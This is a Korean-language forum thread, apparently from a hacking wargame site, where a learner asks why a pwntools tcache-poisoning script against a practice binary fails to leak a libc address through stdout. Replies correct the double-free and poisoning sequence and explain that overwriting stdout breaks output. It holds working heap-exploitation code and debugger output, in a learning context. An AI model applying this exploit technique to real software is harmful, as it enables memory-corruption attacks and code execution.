0

5 coins libc base 구하는 과정

from pwn import *

p = process('./tcache')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

malloc_hook_offset = libc.symbols['__malloc_hook']
#0x601010
def allocate(size_g, content):
    p.sendlineafter('Edit\n', '1')
    p.sendlineafter('Size: ', size_g)
    p.sendafter('Content: ', content)

def free():
    p.sendlineafter('Edit\n', '2')

def edit(edit_chunk):
    p.sendlineafter('Edit\n', '4')
    p.sendafter('Edit chunk: ', edit_chunk)

def print_g():
    p.sendlineafter('Edit\n', '3')

allocate('100', 'A')
free()
edit('A'*9)
free()
allocate('100', p64(0x601010))
allocate('100', 'A')
allocate('100', 'a')
print_g()

p.interactive()
0x400893 <main+348>    call   printf@plt                      <printf@plt>
        format: 0x40098d ◂— 'Content: %s'
        vararg: 0x601010 (stdout@@GLIBC_2.2.5) —▸ 0x7f1307282761 (_IO_2_1_stdout_+1) ◂— 0xe300000000fbad28

lb구하는 과정인데 print_g 실행하고나서 부분인데 이렇게 되면 0x7f1307282761나 0xe300000000fbad28 둘 중에 뭔진 모르겠지만 한개는 출력될줄 알았는데 아무것도 안되네요. 뭐가 문젤까요

3 answers
1
Accepted

음…

할당
프리
에딧
프리 <- 까지가 더블프리 준비
에딧(원하는 주소)
할당 <- 까지 티캐시포이즈닝
할당 <- 원하는 주소에 힙 할당
프린트

순입니다.

0

제 payload대로 해보면 이렇게 0x601010은 들어갔는데 안에 있는 값이 fd로 인식 안되서 다음께 안뜨는데

tcachebins
0x70 [  1]: 0xdfb260 —▸ 0x601010 (stdout@@GLIBC_2.2.5) ◂— ...

wyv3rn님 방식대로 해보면 이렇게 0x601010 안에 있는 값이 fd로 인식이 되는데 무슨 차인가요

tcachebins
0x70 [  2]: 0x137a260 —▸ 0x601010 (stdout@@GLIBC_2.2.5) —▸ 0x7f843834e760 (_IO_2_1_stdout_) ◂— ...
allocate('100', 'A')
free()
edit('A'*9)
free()
edit(p64(0x601010))
allocate('100', 'A')
allocate('100', 'A')
print_g()

stdout = p.recv(8)
print(stdout)

b'1. Alloc'
그리고 바꿔도 출력이 안돼요

1

아 ㅎㅎ 그 부분이군요.

아마 강의에도 나와있을텐데
stdout과 같은 함수의 주소를 변조하면 출력함수 작동 시 오작동 하기 때문에 원래 값과 동일한 값을 넣어줘야 정상 작동한다.
라고 되어있을겁니다

stdin stdout과 같은 함수에 실제로 값을 삽입할때는 이를 유의하셔야합니다